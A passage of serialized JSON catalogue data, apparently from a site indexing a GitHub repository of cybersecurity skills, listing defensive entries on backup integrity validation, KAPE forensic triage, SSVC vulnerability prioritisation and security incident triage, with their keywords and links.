attestation","policy","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":182,"name":183,"nameZh":6,"description":184,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":185,"categories":186,"keywords":189,"publishedAt":44},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[187,188],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":135,"categoryName":136,"taxonomyType":21,"taxonomyTypeDesc":22},[175,190,191,192,28,36,193,194,169,195,196,197,198,199,200,33,201,202,203,204],"backup","recovery","validating backup integrity for recovery","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":206,"name":207,"nameZh":6,"description":208,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":209,"categories":210,"keywords":212,"publishedAt":44},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[211],{"categoryNo":135,"categoryName":136,"taxonomyType":21,"taxonomyTypeDesc":22},[213,214,215,36,216,217,218,219,220,221,222,223,224,225,226,227,172,228,229,230],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":232,"name":233,"nameZh":6,"description":234,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":235,"categories":236,"keywords":238,"publishedAt":44},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[237],{"categoryNo":135,"categoryName":136,"taxonomyType":21,"taxonomyTypeDesc":22},[239,240,241,36,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257],"vulnerabilities","framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":259,"name":260,"nameZh":6,"description":261,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":262,"categories":263,"keywords":265,"publishedAt":44},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[264],{"categoryNo":135,"categoryName":136,"taxonomyType":21,"taxonomyTypeDesc":22},[142,266,36,267,268,269,270,271,272,273,274,33,275,201,276,277,278,279,280,281],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]